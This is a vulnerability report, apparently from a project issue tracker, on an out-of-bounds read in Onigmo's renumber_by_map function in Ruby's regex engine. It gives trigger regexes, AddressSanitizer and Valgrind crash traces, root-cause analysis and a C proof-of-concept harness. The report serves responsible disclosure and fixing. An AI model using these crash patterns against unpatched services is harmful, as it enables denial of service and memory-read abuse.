Stack-buffer-overflow in renumber_by_map in regcomp.c

[ManhNDd]

I found this bug in ruby regex engine, which is in fact Onigmo regex engine. So here should be the place to report the bug.

Environment

root@instance-2:~/fuzz_ruby# ruby -v
ruby 2.7.0dev (2019-08-03T02:32:37Z master 688a59f8ac) [x86_64-linux]
root@instance-2:~/fuzz_ruby# uname -a
Linux instance-2 4.15.0-1036-gcp #38~16.04.1-Ubuntu SMP Tue Jun 25 15:30:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
root@instance-2:~/fuzz_ruby# lsb_release -r
Release: 16.04

Compilation

CFLAGS="-ggdb" AFL_USE_ASAN=1 CC=afl-clang-fast ./configure
AFL_USE_ASAN=1 make

Reproduce

root@instance-2:~/fuzz_ruby# cat test.rb
"".match /(())(?<X>)((?(9)))/
root@instance-2:~/fuzz_ruby# ruby test.rb
20234ERROR: AddressSanitizer: dynamic-stack-buffer-overflow on address 0x7fff65209d64 at pc 0x558d216815e6 bp 0x7fff65209cb0 sp 0x7fff65209ca8
READ of size 4 at 0x7fff65209d64 thread T0
#0 0x558d216815e5 in renumber_by_map /root/fuzz_ruby/ruby_asan/regcomp.c:1963:31
#1 0x558d2168165b in renumber_by_map /root/fuzz_ruby/ruby_asan/regcomp.c:1953:11
#2 0x558d216600b2 in disable_noname_group_capture /root/fuzz_ruby/ruby_asan/regcomp.c:2036:7
#3 0x558d2165d749 in onig_compile_ruby /root/fuzz_ruby/ruby_asan/regcomp.c:5773:11
#4 0x558d21646e9f in onig_new_with_source /root/fuzz_ruby/ruby_asan/re.c:850:9
#5 0x558d21646e9f in make_regexp /root/fuzz_ruby/ruby_asan/re.c:874
#6 0x558d21646e9f in rb_reg_initialize /root/fuzz_ruby/ruby_asan/re.c:2857
#7 0x558d21645059 in rb_reg_initialize_str /root/fuzz_ruby/ruby_asan/re.c:2891:11
#8 0x558d2164739b in rb_reg_compile /root/fuzz_ruby/ruby_asan/re.c:2981:9
#9 0x558d215bd88e in rb_parser_reg_compile /root/fuzz_ruby/ruby_asan/parse.y:11938:12
#10 0x558d215bd88e in parser_reg_compile /root/fuzz_ruby/ruby_asan/parse.y:11932
#11 0x558d215bd88e in reg_compile /root/fuzz_ruby/ruby_asan/parse.y:11948
#12 0x558d2154a957 in new_regexp /root/fuzz_ruby/ruby_asan/parse.y:9894:40
#13 0x558d2154a957 in ruby_yyparse /root/fuzz_ruby/ruby_asan/parse.y:4290
#14 0x558d21585802 in yycompile0 /root/fuzz_ruby/ruby_asan/parse.y:5771:9
#15 0x558d21968def in rb_suppress_tracing /root/fuzz_ruby/ruby_asan/vm_trace.c:433:11
#16 0x558d2157fb06 in yycompile /root/fuzz_ruby/ruby_asan/parse.y:5821:5
#17 0x558d2157fb06 in rb_parser_compile_file_path /root/fuzz_ruby/ruby_asan/parse.y:5960
#18 0x558d2170e459 in load_file_internal /root/fuzz_ruby/ruby_asan/ruby.c:2038:11
#19 0x558d212cf188 in rb_ensure /root/fuzz_ruby/ruby_asan/eval.c:1075:11
#20 0x558d2170ab73 in load_file /root/fuzz_ruby/ruby_asan/ruby.c:2157:24
#21 0x558d2170ab73 in process_options /root/fuzz_ruby/ruby_asan/ruby.c:1801
#22 0x558d2170ab73 in ruby_process_options /root/fuzz_ruby/ruby_asan/ruby.c:2390
#23 0x558d212c6dc4 in ruby_options /root/fuzz_ruby/ruby_asan/eval.c:118:2
#24 0x558d212bfc8d in main /root/fuzz_ruby/ruby_asan/./main.c:42:23
#25 0x7f343a4b182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#26 0x558d211ec298 in _start (/usr/local/bin/ruby+0x143298)

Address 0x7fff65209d64 is located in stack of thread T0
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow /root/fuzz_ruby/ruby_asan/regcomp.c:1963:31 in renumber_by_map
Shadow bytes around the buggy address:
0x10006ca39350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006ca39360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006ca39370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006ca39380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006ca39390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10006ca393a0: 00 00 00 00 ca ca ca ca 00 00 04 cb[cb]cb cb cb
0x10006ca393b0: f1 f1 f1 f1 04 f3 f3 f3 00 00 00 00 00 00 00 00
0x10006ca393c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006ca393d0: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00
0x10006ca393e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006ca393f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
20234ABORTING

It also crashes on default ruby version in Ubuntu 16.04 (ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu])
Analysis in ruby source code
The bug comes from (renumber_by_map in regcomp.c:1959):

  case NT_ENCLOSE:
    {
      EncloseNode* en = NENCLOSE(node);
      if (en->type == ENCLOSE_CONDITION)
	en->regnum = map[en->regnum].new_val;
      r = renumber_by_map(en->target, map);
    }

Here en->regnum is assigned new_val from map without checking the size of map.
With the input "".match /(())(?)((?(90000)))/, map is a 5 - element array and en->regnum = 90000 => en->regnum is assigned a new_val at map[90000] => buffer-over-flow. We can control the offset of the read and control the new_val to be assigned to en->regnum.
You can modify N in "".match /(())(?)((?(N)))/ until you get a crash.
This code is trigger only if the node is ENCLOSE_CONDITION and the following conditions are matched (regcomp.c:5769) and then disable_noname_group_capture is called:

#ifdef USE_NAMED_GROUP
  /* mixed use named group and no-named group */
  if (scan_env.num_named > 0 &&
      IS_SYNTAX_BV(scan_env.syntax, ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP) &&
      !ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_CAPTURE_GROUP)) {
    if (scan_env.num_named != scan_env.num_mem)
      r = disable_noname_group_capture(&root, reg, &scan_env);

[ManhNDd]

I successfully reproduce the issue in Onigmo.

PoC code:

#include <stdio.h>
#include <string.h>
#include "onigmo.h"

extern int main(int argc, char* argv[])
{
  int r;
  unsigned char *start, *range, *end;
  regex_t* reg;
  OnigErrorInfo einfo;
  OnigRegion *region;

  UChar* pattern = (UChar* )argv[1];

  r = onig_new(&reg, pattern, pattern + strlen((char* )pattern),
    ONIG_OPTION_DEFAULT, ONIG_ENCODING_ASCII, ONIG_SYNTAX_RUBY, &einfo);
  return 0;
}

Crash:

root@manh-ubuntu16:~/fuzz/fuzz_onigmo# valgrind ./poc-renumber_by_map '(a)(?<A>f)(?(90000))'
==8602== Memcheck, a memory error detector
==8602== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==8602== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==8602== Command: ./poc-renumber_by_map (a)(?\<A\>f)(?(90000))
==8602== 
==8602== Invalid read of size 4
==8602==    at 0x414D68: renumber_by_map (regcomp.c:1963)
==8602==    by 0x414CF7: renumber_by_map (regcomp.c:1953)
==8602==    by 0x414F9D: disable_noname_group_capture (regcomp.c:2036)
==8602==    by 0x41CA52: onig_compile (regcomp.c:5675)
==8602==    by 0x41D05F: onig_new (regcomp.c:5887)
==8602==    by 0x400863: main (poc-renumber_by_map.c:18)
==8602==  Address 0xfff057f50 is not stack'd, malloc'd or (recently) free'd
==8602== 
==8602== 
==8602== Process terminating with default action of signal 11 (SIGSEGV)
==8602==  Access not within mapped region at address 0xFFF057F50
==8602==    at 0x414D68: renumber_by_map (regcomp.c:1963)
==8602==    by 0x414CF7: renumber_by_map (regcomp.c:1953)
==8602==    by 0x414F9D: disable_noname_group_capture (regcomp.c:2036)
==8602==    by 0x41CA52: onig_compile (regcomp.c:5675)
==8602==    by 0x41D05F: onig_new (regcomp.c:5887)
==8602==    by 0x400863: main (poc-renumber_by_map.c:18)
==8602==  If you believe this happened as a result of a stack
==8602==  overflow in your program's main thread (unlikely but
==8602==  possible), you can try to increase the size of the
==8602==  main thread stack using the --main-stacksize= flag.
==8602==  The main thread stack size used in this run was 8388608.
==8602== 
==8602== HEAP SUMMARY:
==8602==     in use at exit: 1,410 bytes in 18 blocks
==8602==   total heap usage: 19 allocs, 1 frees, 1,466 bytes allocated
==8602== 
==8602== LEAK SUMMARY:
==8602==    definitely lost: 0 bytes in 0 blocks
==8602==    indirectly lost: 0 bytes in 0 blocks
==8602==      possibly lost: 0 bytes in 0 blocks
==8602==    still reachable: 1,410 bytes in 18 blocks
==8602==         suppressed: 0 bytes in 0 blocks
==8602== Rerun with --leak-check=full to see details of leaked memory
==8602== 
==8602== For counts of detected and suppressed errors, rerun with: -v
==8602== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault (core dumped)
root@manh-ubuntu16:~/fuzz/fuzz_onigmo# ./poc-renumber_by_map '(a)(?<A>f)(?(90000))'
Segmentation fault (core dumped)
root@manh-ubuntu16:~/fuzz/fuzz_onigmo#

If you cannot get crash with '(a)(?f)(?(90000))', you can try '(a)(?f)(?(900000))', '(a)(?f)(?(9000000))'...